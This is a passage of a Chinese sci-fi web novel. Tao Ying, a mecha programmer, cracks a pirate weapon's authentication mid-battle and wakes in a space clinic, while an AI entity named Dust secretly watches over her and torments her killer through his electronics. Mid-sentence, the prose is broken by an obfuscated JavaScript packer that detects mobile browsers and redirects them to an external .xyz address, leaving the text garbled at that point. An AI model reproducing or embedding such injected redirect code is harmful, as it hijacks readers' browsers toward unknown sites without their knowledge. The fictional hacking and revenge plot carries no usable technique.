可她拿的是什么呢？他办公桌下的文件，难道是那个？朱弛的脸色突然惊慌起来。 如果是那份文件，绝对不能被她拿走。 朱弛想到这里，死死地抓住陶影的手臂，明显是不肯罢休。 朱弛面上挤出一个笑，牙齿却咬得死紧。 “同学，材料本来就是我要审核的，只是看看而已，为什么反应这么大？你这样会让我怀疑，你有些其它的目的。” 他抓得过紧，陶影“嘶——”了一声，朱弛愣了一下，收回了手。 陶影举起手一看，手臂上五个手指的淤青。 陶影睁大眼睛，控诉道：“教授，我又没说不能给你，你不至于掐我吧？你看看，都青成这样了？” 朱弛：“……” 戈登出来打圆场：“这个，这个主任也不是故意的。” “是啊是啊。” 陶影一副通情达理的模样：“我当然知道他不是故意的。” 几人松了一口气。 陶影又说：“所以赔钱就行。” “……” 十分钟后，陶影收到了二十万星币的转账。 二十万对朱弛来说，应该还挺多的。听说他为了进莱门监测中心工作，花了不少钱。 看朱弛冷脸打钱，还要硬装不在乎的样子，爽了。 陶影笑眯眯拿完钱，抬腿就走，朱弛下意识拦她，陶影举起右臂的淤青，在他面前晃了晃，朱弛手又缩了回去。 朱弛咬牙，看着陶影手中的蓝色文件夹。 “文件。” “都说了是我的报名材料，不知道为什么不信。”陶影无奈地翻开文件，里面掉出一张照片。 千惠美下意识想上去帮忙捡，却被朱弛一把抢过。 慌忙间，千惠美的美甲划破了朱弛的手。 朱弛神色扭曲了一瞬。 怎么今天尽是遇到倒霉的事情！ 不过还好抢回了照片。 他拿着那张照片却愣住了。 这不是他的照片。 照片上是三名笑容灿烂的清澈大学生。 照片里，林别歌站在小吃摊位前，手里拿着辣烤田鼠，嘴被辣成了香肠，南卦在旁边拍掌大笑，陶影举着光脑，镜头对准团队，嘴角勾起，咔嚓一下。 显然是张三人自拍。 陶影微笑着解释道：“哦，这是我跟两位队友在附近的小吃街拍的照片。不小心夹在文件里了，因为很有纪念意义，所以才来拿的。” 朱弛不可置信地翻开文件，里面竟然真的是报名材料，和他刚才翻看的一模一样。 可明明被他烧成灰了啊？ 难道真的是他看错了？ 陶影：“朱主任怎么了？好像见到鬼一样的表情。我的材料有什么问题吗？” “没，没什么问题。” 陶影离开了。 而朱弛却完全平静不下来。 他手指打着颤，摇晃着身体回到座位，强装镇定。 片刻后他坐不住了，快步来到卫生间，颤颤巍巍关上隔间的门，坐在马桶上，从兜里掏出药瓶，抖着手吃了两颗。 自从陶影死后，朱弛就感觉事事都不顺。一直做噩梦不说，不管到哪里都觉得有什么东西跟着他，但家人说他是产生了幻觉，他去看了心理医生，医生说他是重度焦虑，总之先给他开了药，让他注意，日常状态如果有变化，要及时复查。否则后续情况变严重，可能演变为精神分裂。 不会的，不会的。这不是幻觉。 朱弛握紧了拳头。 他只是记忆出错了。他可能顺手把文件放到桌上，然后烧掉的是另一份文件。 只是太紧张了，记忆出现了差错。 想到这里，朱弛便恨恨地，拿起另一个瓶子，上面没有任何标签，内容物非常可疑。 他抓起一把，全吃下去之后，浑身轻松，仰躺在马桶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773093|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 心情瞬间就好了。 对，他没病，为什么要吃药，医生都是在胡说！ 都是因为陶影，都是因为那个一级智能体！ 莱门监测中心档案，通缉代号A003，A级高危智能体，Dust。 最可恨的就是他！ 朱弛露出愤恨的眼神。 …… 少年扯了一下衣领，瘦削的下巴在白色高领毛衣边缘摩擦，划出几道红痕。 他抿唇，语气冷冷道：“真是阴魂不散，竟然还敢去接近小影。” 博美抬起前腿，试图举手提出异议。 “我接下来说的话不是杠你啊，Dust。但还是要讲点逻辑的，朱弛不知道这位‘白颖’是他曾经烧死的陶影吧？……你有在听我说话吗？Dust？哈啰？”博美在少年面前疯狂打滚，但被完全无视。 “……” 少年的手不停在空中挥动，操作着信息流，深蓝色的粒子在空中自在地流动，时而合起，时而分散，像是有意识的生物般，独具一种美感。 总之少年完全听不进去博美说话。 片刻后，空间投影出通往莱门监测中心的路线。 少年盯着屏幕中心的一级防火墙，冷冷地笑了。 “来都来了，给朱主任找点事情做。” ……这话咋这么耳熟，某陶姓女子刚刚是不是也说过？ 博美叹气。算了算了，劝不动。涉及陶影的事情，劝不了一点。 博美对这俩人之间的关系知道得不多。 只知道Dust一直在调查陶影的死因。 当年查到放火的是朱弛后，Dust二话不说—— 直接对朱弛的住处发动了电子冲击。 大规模的精准攻击，让朱弛住处的电子系统直接瘫痪，甚至发生小规模爆炸。莱门监测中心一开始将这误判为敌国攻击，甚至直接通知军方，启动了最高级别的电子防御。 帝国豢养的几百只智能体齐齐启动，Dust在这种情况下，避开了所有阻碍，一路追杀朱弛到雷瓦尔帝国的电子安全屋。 要不是当时时间紧张，朱弛现在已经死了。 是的，博美毫不怀疑，Dust当时就是打算杀死他。 直到Dust因为太过冲动，暴露了他的次级地址，险些被莱门监测中心抓住，博美说“你不是还要等陶影回来吗？”，Dust终于被劝动，这才收敛了几年。 不过Dust也没停手，只是换了个方式。 Dust温和地入侵了朱弛周围的空间，控制了他所能接触的所有电子元件。 从此朱弛家的音响会半夜突然放歌，电灯会莫名开始闪烁，冰箱会突然停止制冷。 听说有一次朱弛吃完冰箱里的东西，直接食物中毒进了医院。 朱弛忍受不了精神折磨，几乎把家里的电子产品全扔了，连新闻都看不了，只能每天拿着一份破报纸。 Dust被称为电子幽灵也不是没有原因的…… 偶尔像是电子恶灵。 …… 陶影离开大楼，找了一个安静且无人的地方，靠在树边，将数据盘连接上光脑。 【第三届知觉机甲技术峰会。】 【举办地点：莱门大学第一会议厅。】 【峰会内容：知觉机甲溟火-002的制造细节。】 【演讲者：朱弛。】 “受邀来莱门大学进行溟火二代机的演讲。我看看，受邀人员……嗯？好多人啊。” 机甲界的权威，都是陶影很熟悉的名字。 几大机甲研究所的所长，加西亚电子、爱荷华科技、柏氏工业、海台科技等机甲商的代表。 甚至有边陲小国政要。 陶影惊讶片刻，歪了歪头，眼中闪过一丝顽劣。 都是重要人士的峰会，怎么算不上完美的舞台呢？ 16-20 第16章 屠杀者一直绕着圈,前后左右乱跳，在陶影想休息的时候，时不时骚扰她一下。 泥鳅一样,非常狡猾。 明显想拖时间消耗她的精神力。 陶影托着脸，半趴在操作台上。手上的钥匙无聊地旋转着。 好保守的战术,没意思。 Resonance共鸣模式，是她给恒我设计的特殊模式,可以极大程度上降低机师和恒我之间精神力延迟。 她不再需要看任何面板,数据会直接灌入脑中。 周围的时间在陶影的理解中都慢了下来。 星盗的动作也是。 距离她进入Resonance共鸣模式,才过去了五分钟。但她体感，已经过去了好几个小时。 这个模式的代价就是,会极大地增加机师的精神力消耗。 本来预估十分钟应该没问题。但陶影忘了过量的精神力消耗,对体质也会有影响。 朋友,头疼啊朋友。 喉咙口还有一股微妙的甜味。 陶影咽口水，压了压。 光脑助手： 【主人,救援小队已经很近了。只要再撑过这五分钟，就可以得救了,请不要轻举妄动，你的身体情况不允许。】 “？” 光脑助手的语气突然变得非常人性化。大概是怕她死了吧，说话有点焦急的意味。 但大家没有这么熟,就算是智能体，也请有一点边界感，谢谢。 ……说起来刚刚好像把光脑静音了来着，它怎么又开始说话了。 “你在教我做事？”陶影眯起眼睛。 她也真的是有点闲，竟然在战场的休息时间调戏起光脑助手。 人吧，有的时候就是这样，越是危险的时候,越是想干点有病的事。 陶影忍不住：“你说话有点像我初恋。” 光脑助手：“……” 光脑助手顿了一下，似乎不知道该如何反应。 她的初恋……是爱荷华家那个可恶的金发男吗？ 光脑助手声音低落了一点。 【……虽然不太了解你的初恋是谁，我跟他也不像，但请你正视光脑助手在你生死关头提出的意见。】 说完光脑助手可能发觉自己的语气不太对，又补了一句。 【请认真参考我的意见，珍爱生命，远离危险，主人。】 陶影：…… 这个智能体的库是不是吃了什么奇怪的数据。 除了最后那个“主人”，这说话方式，和她初恋生气的样子简直一模一样。 要不是光脑助手一直在滴滴，她还以为是自己产生了幻 觉。 可惜，她初恋已经去世很多年了。 陶影叹气。 算了算了，不说这个了。 放空大脑休息了三十秒，觉得身体状况稍微好一点，陶影立马撩起袖子开始干活。 她的动作有微妙地减慢。敌方也看出来这点，继续和陶影拉开距离，进行周旋。 光脑助手：“那个，还有四分钟，请不要……” 轻举妄动四个字还没说出来，陶影就窜到刚刚卸成碎片的黄色屠杀者旁边，一把捞过了它肩部的小口径炮。 陶影掂了掂小口径炮。 非常漂亮的外观设计。 SC48-“死吻”，人称“死亡之吻”。多发速射型，经济适用，纯粹为了干掉对手而存在的武器。 打中了就死。 其外置的电子模块可在爆炸后重创星舰的能源模块，常用于对星舰进行火力威慑。 屠杀者常用的小型炮。居家旅行必备良品——她要是星盗她也优先安装这个。 不过她不是星盗，所以得优先干掉拿这个的敌人。 然后把武器抢过来。 直播间飞过一群省略号：“……” 【她不会是打算用“死吻”开炮吧？】 【不是，这时候不应该想办法拖延时间，等待支援吗？她拿敌人的武器做什么？】 【虽说有远程武器的确是好事，但她这么挑衅，万一刺激到星盗怎么办？】 【而且机甲的武器都是有加密认证的。那是捡的机甲武器，不是路边偷电瓶车啊！要认证的啊朋友！Verification！認証！Autorización！】 【+1】【+1】【+10086】【ls对偷电瓶车很有经验的样子。】 【别说了，现在就算是电瓶车，也需要加密认证！何况是危险武器！！！】 对方星盗显然也很明白这个道理，开公频嘲讽陶影：“哈哈，你抢这个有什么用，都是绑定了机甲的，你又用不了。” 当然，机甲所携带的武器需要经过认证才能使用—— 毕竟没有任何一个机师希望她的武器在战场上被敌人捡到能直接使用。 这种常识陶影还是有的。 但陶影不是机师。 她挑眉，把“死吻”接入数据接口。 “虽然我不是机师，但我懂程序呀。” 作为机甲系统设计师——她偶尔也在深雾网络上帮人调试一下武器。 破解一个武器认证对她来说并不是什么难事。 屠杀者是雇佣兵最喜欢使用的机甲型号，陶影简直不能太熟。刚刚在和星盗周旋的时候，同时让恒我接入了武器的认证模块。 她的精神力来到一道墙壁前，手扶可视化防火墙。 电子墙壁很快在她的攻击下变成一串串Code。 “代码东拼西凑……太不优雅了。能运行到现在简直是个奇迹。” 陶影一边解析，一边摇头，毫不留情地分析改装机师的代码水平。俨然回到当初在莱机所的工作状态。 【前方敌人接近。】 【武器解析已完成，请问需要立刻接入吗？】 “接入。” 【好的，恒我本机正在执行接入程序。】 【接入已完成。】 眼前的电子防火墙消失，显示出HUD面板。 一片深邃的太空中，那台蓝色机甲接近，开始挑衅。 看来是觉得她的精神力已经消耗得差不多，打算趁这个机会攻击。 公频里，对方星盗还在挑衅：“来啊你开炮啊。拿到武器又怎么样，你能用吗？” 陶影叹气。 “虽然不懂你为什么提出这种要求，但没办法，我这个人，很善良的。” “既然你提出要求让我开了。” “那我就大发慈悲地开啰。” 陶影满面微笑地架起武器。 “轰——” 下一秒，毫不迟疑，炮筒射出的弹药，在星盗身边炸开。 “卧槽！”公频里传来对方星盗的叫骂声。 声音不外乎是“怎么可能”、“骗人的吧”，还有一连串不宜展示的脏话。 “哎，打歪了，真不好意思。再来几发吧，你站那儿别动啊。” “你要不要脸的啊！”对方星盗忍不住了。 “大家都是成年人了，要脸干嘛。” 说干就干。弹道冷却结束，陶影紧接着又来了好几发。 对方星盗被打得到处乱跑。 “别跑啊。不是你让我开炮的吗，躲什么？”陶影漫不经心地打了个哈欠，随后微微一笑。 “求饶我也不会停手的。” 星舰上近距离围观全程的研究员们：“……” 你抖S啊喂。 等到子弹打完，陶影把炮筒往旁边一扔，失望地叹气：“一炮没中。” 还是太菜了。 算了算了，初次驾驶。 恒我的精神力模块对本机的控制虽然很强力，但外界的武器因为没有做过适配，使用感很差劲。 尤其在陶影根本没有做过相关训练的情况下，很难对准方向。 真正的机甲对战，不是耍耍小聪明就能赢的东西，需要大量的训练。 这种精细的精神力瞄准，看来对现在的她还太难了。 …… 不对，什么现在的她以后的她。 陶影一身冷汗地惊醒。 这次开机甲纯纯是个意外，以后不会再开了！坚决不开！ 等这场战斗结束，她就回莱门做体质手术！ 然后老老实实写她的程序——！ 直播间又是一阵沉默。一堆省略号从直播间上方飞了过去。 【发发都非常有力，但全打歪了。我不理解，这跟刚才的机师是同一个人吗？还是说这是她的战术？】 【据可靠消息，机师是个大一新生，还是第一次开机甲。我就说嘛，这人体夕阳红枪法，一看就是个新手。】 【什么？大一新生？现在的军校新生这么恐怖吗？】 【我破防了。训练了三年，还够不到她精神力的下限。道心破碎了家人们。[大哭][大哭]】 【我也破防了。】 【破防了+1】 【这么说来，星际该不会又要出一个精神力体质双S的天才吧！】 【这才大一，说不定经过训练，她的精神力可以到S+，甚至SS级别。】 大家虽然纷纷发弹幕破防，但破防完还是送上了真诚的祝福。 【希望能在今年机甲联赛看到一点新血液。】 【啊啊啊已经兴奋起来了，迫不及待想看今年的机甲联赛！我要看新人大杀四方！】 【话说这个星盗竟然没有限制武器的使用权限？也太菜了。真奇怪啊，照理说肯定是有的，不会是认证模块被这位机师破解了吧？】 【怎么可能，顶级黑客也没办法这么快拿到权限。不都说了是大一新生。精神力这么强电子战还这么强，要真这么全面，这不是新生了，是魔鬼吧。】 【那，那可能是模块本来就有缺陷吧，我不懂程序，乱说的。】 直播间一时开始热烈讨论这名大一新生究竟是谁。 无人在意的角落，刷过一条弹幕。 【我之前还以为看错了，不敢认……这果然是莱门机甲研究所那台被烧毁的“恒我”吧？】 …… 公频内的星盗还在叫骂。 显然，在陶影一连串“死亡之吻”的攻击下，他彻底失去了理智。 “你为什么能用死吻，不可能！不可能！” 直播间的观众不知道，但星盗知道，他们的武器有限制使用权限。而且是层层加密的认证权限。 这个机师为什么能直接使用他死去同伴的死吻？！ 因为太过震惊，星盗嘴里只能不停说出不可能三个字。 难道是武器出现了故障？ 怎么可能有这么巧合的事情。 难道是，她破解了武器的认证模块—— 陶影目前没有对这台蓝色屠杀者造成任何的物理伤害。 但对驾驶它的星盗造成了极大的精神创伤。 星盗两手颤抖。 她的机体描边大法，简直是一场巨大的精神创伤，懂吗，精神创伤！ 星盗看着面前的黑色机甲，像看着一头 深渊中的不可名状的魔鬼。 他眼睁睁看着魔鬼走向了另一台机甲，重新接入另一架SC48-“死吻”。 然后将炮筒对准了他。 “嗨。30秒不见，休息好了吗，朋友。”魔鬼笑眯眯地发出宣言。 宇宙中再次爆发出绚烂的烟花。 像是一场盛大的欢迎礼—— 作者有话说：除了体质各方面都很S的影子姐[撒花] 第17章 此刻远在莱门市的地下。 黑金色运算机上的指示灯如同波涛一般闪烁着。 少年扯了一下白色毛衣的衣领,合上手中的手册。屏幕上，博美形态的智能体正从屏幕左面蹦哒到右边，玩得非常开心。 “已经实时连接上了她的光脑。” “她还真厉害,能在这种情况下把信息传递给救援小队。之后再撑一会儿，问题就不大了。” 博美甩动自己短短的白色尾巴球。像一团毛茸茸的团子。 他看向对面的“人类”。 少年自称Dust。 他紧皱眉头,一直在看陶影的心跳数据。 博美也看了眼面板。 心跳：60。 平稳地停留在60，偶尔会上升到个70、80的。 状态：无氧。 以正常人的表现来说,这不正常。 但以陶影的体质来说,这很正常。 “这不没逝吗,你还在担心什么？” “只要她还没有安全地出现在我面前，我就没办法放心。” “我懂了,你这叫没有安全感。” Dust：“……” 博美乘胜追击：“分离焦虑。” Dust无语：“我又不是你。” “我只是外观形象是博美犬,并不是真的是狗。” “是吗？”Dust手一抬,空中凭空出现一个圆球，扔了出去。 博美下意识跳起来接住。 博美：“……” “好吧,是有一些不可抗拒的深层参数。你们人类的DNA里不也有吗。” 博美清了下嗓子，转移话题。 “根据手环传过来的信息,陶影的精神力处于高度集中状态，我只在军方的数据库见过类似的高精神力波动。” Dust点头：“她精神力一直很高。我跟她第一次见面的时候就这样。” “所以说，你不用担心嘛。她挺厉害的,还救过你一命。说不定就算再死了，也还能活过来。” 少年眼神淡淡地看过来。 “好了我不说了我闭嘴。” 博美怂怂地缩到角落。 这个Dust，平时挺正常的，但只要事情涉及陶影，情绪就容易激动。 尤其是陶影死过这件事，对他来说，简直是禁语。 博美怂怂地跳上黑金计算机。 “说到爱荷华家族——这次的星盗是他们雇佣的吧？为了抢走恒我。” “对,他们偷走的数据只是初版的一部分，需要恒我的机体数据来进行补全。” “那你不趁机把他们偷数据的事情捅出去？事情闹这么大，爱荷华家族肯定会监视陶影，被他们发现陶影的存在，恐怕她会陷入危险。” “不需要，小影发现了。” “什么？” “她早就发现了，这件事情没那么简单。” 博美一头雾水：“她怎么发现的？” Dust又是怎么发现了她发现的？不是，是他漏掉了什么吗？大家都是智能体，他和Dust获得的信息难道有什么不一样吗？ “星盗抢一艘偏远星系的星舰，本身就很奇怪。他们在上舰之后，甚至拿着名单一个个清算乘客，你觉得是为什么？” 对哦，就算提前拿到了名单，乘客的人数也并没有那么重要。 博美跑来跑去，吐着舌头——这是它的思考程式。 “不懂，信息量不够，我计算不出结论。” Dust看他一眼，叹气，嘴里小声说“早就说过你的数据库需要更新了”。 “因为这帮星盗原本就是冲着恒我来的。他们没打算让任何一个乘客活着回去。” Dust拉出星舰内部的影像。 在客舱的角落，有一个奇怪的黑色行李，上面的防水布滑落，露出一个用胶带绑得死死的包裹。 博美对着屏幕疯狂舔舔舔——扫描了一阵，博美惊恐地收回舌头，躲到少年身后。 “这，这这个黑色包裹，难道是炖菜者，那个高强度炸弹！” “……不是炖菜者，是钝裁者。算了不重要，总之是一秒内释放的能量足以瞬间让星舰消失的高强度炸弹。应该是星盗提前弄坏了安检机器，趁乱带上舰的。” “那我们需不需要通知星舰上的人啊？” “不用，小影已经把炸弹拆掉了。” 博美跳起来。 “什么时候？” “她在客舱坐着，陪那几个小朋友玩得无聊的时候。当时她发现不对劲，黑入监控系统正好看见，就顺手干掉了。” “……” “你的意思是，就那么短的时间？她面无表情地？还一边哄着一群小孩？顺手干掉了炸弹……？” 博美惊恐地后退了一步。 “好恐怖的女人。” Dust点头：“很厉害的女人。” “行吧，我有点理解你为什么只关心她的身体健康了。好像除了体质差还喜欢作死之外，她其它方面确实不太需要我们的帮助。” “那你现在打算怎么办，这次已经潜入她的光脑，下一次又要怎么接近她？” “你什么时候跟她坦白身份？” Dust有些犹豫。 坦白什么呢？她说不定都不记得他了。 “等她到了莱门大学再说吧。现在有其它事情要做。爱荷华家族在关注这场战斗——” 他能做的不多。至少能用更海量的信息，把陶影的信息隐藏起来，暂时不让她被爱荷华家族的人发现。 ……不被她那位初恋发现。 少年抿唇，不知道在想什么，过了一会儿，他拿着日记，开始往回翻。 博美对他这个状态非常警惕。 每次Dust开始翻他那个破日记本，就要发生一点大事。 也不知道里面究竟写了些什么，就跟记仇小本本一样。 “Dust，你想干嘛？别胡来啊。这个月电费挣够了吗！我可不想被莱门监测所抓住。” “他们还没那个本事。不过你说得也有道理，这个月电费确实超标了。” 毕竟地下三千米的绝密服务器，要租还挺贵的。 “所以我们一边观察小影的情况，一边……” “一边？” 少年面不改色。“没什么，一边往星网上放点爱荷华家族的黑料吧。删贴的时候顺便挣点电费。” “……” 干坏事都这么面不改色。 真是不是一家人不进一家门。 直播还在继续。 画面当中露出一角红色，似乎是一条围巾。围巾的主人声音激动，连画面都有些抖动。 “新来的家人们可能不知道现在什么情况，主包给你们解释一下，我现在就在第四星系到第三星系航段的雾海号星舰上，刚刚被星盗抢劫了。” “场面之惊险，那个子弹擦过我的脑门，射中我身后的舷窗，我当时真的以为自己要死了，遗书都写完了。还好有位学霸姐力挽狂澜，制定了作战计划，救我们于水火之中——总之发生了各种事。我现在手里还拿着星盗的电磁枪，你们不知道啊，那个场面跟电影里一样一样的——” 赫莉话还没说完，镜头里突然挤进一对长得特别相像的兄妹。 “不好意思，我们的朋友有点激动，她是第一次遇到星盗，大家包容一下。” “说得好像你们不是第一次遇见星盗似的。” “这趟旅行结束，我要去换个人工心脏。” “以后都要对坐运输舰有心理阴影了。” 屏幕上疯狂闪过一堆希望主播平安的弹幕。 【我去，真的假的，真亏你们能活下来。人没事吧？】 赫莉夺回自己的光脑，给了本杰明和索尼娅一人一脚。弹幕上都是新进直播间要看机甲的网友，她一边努力把镜头贴上舷窗，对准外面那台黑色机甲。 那位力挽狂澜的学霸姐还在……呃，放烟花。 感觉她好像玩得挺高兴的。 但不管怎么说，对面的星盗被打得毫无还手之力。 不愧是学霸，果然厉害的人什么都厉害。 赫莉举起镜头，转头继续向直播间一波一波涌进来的观众，兴奋地解释。 “我都不知道该怎么跟你们说，太复杂了，看到现在外面那台机甲了吧，多亏了坐在那里面的人，不然我们整舰的乘客，估计现在都成太空亡魂了。” “这个事情要从三个小时之前说起——” 烟花放完。 陶影的精神力终于到了极限。 驾驶舱内，陶影的手紧握着机械操纵杆，她感觉自己的血液仿佛在燃烧，脑浆都快蒸腾了。 很好，体力也到了极限。 不过比她预想的撑得还要再久一点。 星盗接收到了她的挑衅，已经完全忘记了攻击星舰这回事。哪怕在陶影已经不主动保护星舰的情况下，也只发疯一样地攻击她。 陶影发誓，她本来是不想帮忙保护星舰的。 ——但总不能看着星舰上的同事被炸掉吧。 没了这两个祖宗，以后怎么重建莱机所。 在一次超大幅度的转弯后，陶影能感觉到自己的精神力被撕扯开——恒我有针对这个情况的保护机制。 很快，精神力触手逐渐和她断开了连接。 【Resonance模式已退出。】 【知觉驾驶模式已退出。】 【共鸣60%——30%——10%。为保护机师已降至最低共鸣程度。】 【SPIRAL，你不能再继续驾驶了。】 “知道了，下次继续……不是，没有下次了。” 陶影抹了一把汗水。 对方星盗又冲上来攻击，陶影一个避让，手忙脚乱地在机械按钮上戳戳。 左左右右上上。 坐标已经发过去10分钟，这十分钟长得像10年。机甲小队的人还没有来吗？ 一个急速的悬停后，HUD面板出现三台机甲。 外壳干干净净，没有小广告，一看就是正规机甲。 三台机甲训练有素，直接将星盗围了起来，立刻制服。 随后他们的队长接近陶影，用非常可靠的声音道： “解锁者，你没事吧。我们是柏氏工业的救援小队。” 陶影摇头：“没事，就是快逝了。” 救援小队：“？” 终于结束了。 肾上腺素水平下降。 陶影身体一阵放松，哪儿都酸痛起来，这时突然觉得鼻腔传来一阵温热，她下意识低头一看，红色的血滴滴滴答答地落在她的衣服上—— 血。 是血。 一种足以比拟精神力连接时的眩晕感袭来，陶影再也无法支撑自己的意识。 她晕了过去—— 作者有话说：没逝的。[撒花] 第18章 醒来的时候,陶影闻到了医院的消毒水味。 身体太差，呼吸对她来说都是一种负担。 她取下呼吸罩，坐起身,就花费了近乎全身的力气。 肚子有些饿，她的手自然抚在胃部,她垂头一看，身上不知什么时候换上了病号服。手背和手臂贴满了贴片,胸口和腹部也是。 身侧的仪器上闪烁着各种看不懂的数据,时断时续地发出规律的滴滴声,但……好在心电图那里没有看到一根直线。 她晕过去的时候，差点以为自己真的又要死了。 醒过来才想起她有晕血这个毛病。 所以她最后竟然不是因为精神力到达极限而晕的,而是因为晕血倒下的…… 陶影眨巴一下眼睛。 再开机甲她就是狗！ 床铺给人感觉有些奇怪,被子异常地轻,陶影轻轻掂动床头的水杯，重力系数明显低于宜居星球的标准,看来这里恐怕是宇宙中的某个临时医疗站。 星盗总不会那么好心，把她送来医疗站。所以,现在整艘星舰应该是安全了吧。 病房的门被推开，医生走了进来，她旁边跟着两个人。 一名五十来岁的大叔,一名身形高挑，肌肉线条漂亮的青年——下巴处一块淤青，左手缠着绷带。 是柏氏工业那位研究员和机师，老梁和程岩。 紧跟在他们身后，又进来了三个学生，是赫莉他们。 再之后，还有莱机所的两位研究员。 病房里一下子挤进八个人,空气都变得稀薄起来。 赫莉眼疾手快地挤进人群最里侧，上下摸了摸陶影，似乎没有外伤。几个小朋友叽叽喳喳七嘴八舌地： “你没事吧，我们听说你吐血晕过去了？” “是啊，你不是晕血来着？” 车研究员大吃一惊：“什么，晕血，那不是八百年前的基因病吗？！” “准确的说，是1300年前……” “虚数，虚数你懂不懂？” 医生手里拿着文件，走到病床前，上下打量陶影，啧啧地赞叹了几声。 “你还真敢上驾驶席，我都不知道你是怎么活下来的。怎么不干脆死了再来找我治疗？” 陶影微笑道：“其实我已经死了，现在你们看到的我，是太空女鬼。” 医生听得冷笑。“真不怕死啊？还有心情开玩笑。”她半挑起眉，拔出胸前的按动笔，在报告上写字。 “再晚点来，你就真成太空女鬼了。” 陶影轻咳了两声，坐直身体。 “我的身体大概什么情况？” “精神力极度疲劳，还好你驾驶的那台机甲似乎有保护措施，才没有造成永久性的损伤，但要恢复原本的水准，也需要修养很长一段时间。” 人的精神力像皮筋一样，虽然短时间内的大量使用，可以通过休息来恢复，但如果到了过度使用的程度，就会直接把皮筋拉断—— 还好恒我为了保护陶影的精神力，提前断开了连接，才没有造成永久性损伤。 谢谢你，恒我。 陶影心中默默为那堆精神力触手竖了一个大拇指。 “至于你的体质……”医生叹了口气。 “星历1224年了，怎么现在还会有这么离奇的身体状况，啊？我都想拿你写篇论文了。营养不良先不说，免疫系统缺陷，重力变化不适应症，再加上晕血——这还是我们这里的仪器能检测出来的范围有限。我列出来的数目只是你基因病的下限，不是你的上限，你什么情况，长期遭遇过太空辐射？还是人类进化基因病的时候把你给落下了？” “哦……哦。”赫莉她们听得一愣一愣的。 围观群众交头接耳：“听说宇宙医疗站的医生脾气一般都不好，因为平时要不就没人交流，要不就是和一些不太会说人话的雇佣兵交流。” “不过她还是挺专业的，你看报了这么一长串病名。” 医生磨牙：“我听见了。” 转头继续询问陶影的病史。 陶影点了点头，像在说别人的事情一样。 “嗯，大概是轻度的宇宙辐射综合症，毕竟我以前一直待在偏远星系。” 宇宙辐射综合症，指的是长期暴露在太空辐射下，患者会出现 一系列的基因病症状，刚刚医生所说的大部分症状，比如免疫系统、重力不适应，都在那些基因病症状之中。 这台仿生人本来就打算运去偏远星系销毁，在运输过程中遭遇过量的辐射，产生突变也不是没有可能。 医生翻了几下数据，说话正经起来。 “和我的判断差不多。不过还好你的病情不重。听说你去莱门上学？学校针对基因病有特别补贴，你这个情况，申请到的补贴足够你做基因病手术了，虽然手术不能彻底改善你的体质，但也能恢复到普通人的水平，只要不做一些体力劳动，正常生活还是OK的。” “只是你这个身体实在不适合驾驶机甲，以后要注意。” “啊？”程岩忍不住低呼出声。 以后不能驾驶机甲？太可惜了吧！ 刚刚他才知道，“解锁者”竟然是第一次驾驶知觉机甲，第一次就能驾驶得这么好，简直超乎想象。 这名学生，在驾驶方面非常有才能。哪怕是他一个二级机师，面对三个穷凶极恶的星盗，都不一定能撑到那个地步。 现在竟然说这名学生，因为身体太差而无法驾驶……这实在太可惜了。 在场众人要么惊讶，要么可惜，要么追问医生有没有其它解决办法，陶影对此倒是并没有太大的反应。 驾驶知觉机甲的感觉，的确很奇妙……但，她从以前开始，对开机甲就没有什么兴趣。 陶影心脏跳得很快，大概身体还没有完全恢复。她压下心中一点微妙的声音，回复道： “当然，这次本来就是特殊情况，我对开机甲不感兴趣。以后应该不会有驾驶的机会了。” “那就好。”医生手拍了两下文件夹，又说明了一下这两天的注意事项，随后就离开了。 陶影向把她送来医疗站的老梁和程岩表示谢意。 老梁犹豫道：“事实上，柏小姐想和您说几句话……” “柏墨？” 陶影正好想和她聊聊恒我的事情，这会儿倒是很巧。 她大方地点点头。 “正好，我也有事找她。” 她接过程岩的通讯器，见柏氏的两名员工似乎有点欲言又止地盯着车研究员和大龙。 陶影反应过来，解释道：“他们是莱机所的研究员，我想柏小姐应该也认识他们，不用担心。” 莱门市还是深夜。 柏墨坐在窗前，明显一直熬着没睡。 她说了一些话，大概意思就是希望陶影可以继续驾驶恒我。 柏氏工业可以为她提供资金。 陶影果断拒绝了。 “按照规定，恒我十年内不会被销毁。找到适合它的机师是你们的工作，我还有其他重要的事情要做。” “什么事？” “去大学报道。” “……” 病房里一时传来尴尬的沉默。 是哦。她说话不太像个学生，一时都忘了，她坐上这艘星舰的原因是去莱门市上大学啊！ 程岩还在状况外，他震惊地按住床沿，对着陶影那张脸，不可置信道：“你，你是大学生？” 老梁更是：“不是中学生吗？” “中学生是解锁者不是更可怕吗？” 赫莉自豪地道：“她可是莱门大学的高材生。” 程岩绕着病床走来走去：“她这个身板，怎么看都只有十几岁啊？” “单纯的营养不良吧。” 车研究员慈祥地拍拍学妹的肩膀。 也不能怪大家吃惊，她这体型确实挺营养不良的。 去了莱门多补补吧。 在陶影接受治疗期间，原本的星舰已经启程离开。他们现在一群人都在太空医疗站，等待运输。 会面结束，大家商量了一下时间，一群人要去上学，另外一群人要去找柏墨报告这次的事件。 但总之目的地都是莱门市。 “干脆包个小型舰一起去莱门市算了？”车研究员提议。 “附议。”“没有意见。”“反正是柏氏工业出钱。” 就这么愉快地订好小型舰，大家开始收拾行李。 陶影被车研究员推出病房，手里翻着行李，顺口问了一句。 “话说回来，你们去莱门市，原本是打算干什么的？” 陶影发誓，自己真的只是顺口一问，并不是真的想知道答案。 三秒后，车研究员似乎反应过来自己忘记了什么，抱头大喊一声。 “啊啊啊！！！偷走老大骨灰的小偷！” 陶影：“？” 虚拟屏幕上的柏墨也是顿了一下：“老大？你们是说陶影研究员？” 老梁和程岩齐声道：“骨灰小偷？” “没错，那个偷走我们老大骨灰的变态！” 陶影：“啊？” 说起来，当初她的尸体是怎么处理的？她的亲人都不在了，那是谁领走了她的尸体。 新闻里面说得不清不楚的，记得是放在了爱荷华家？ “陶影的尸体是谁领走的？” 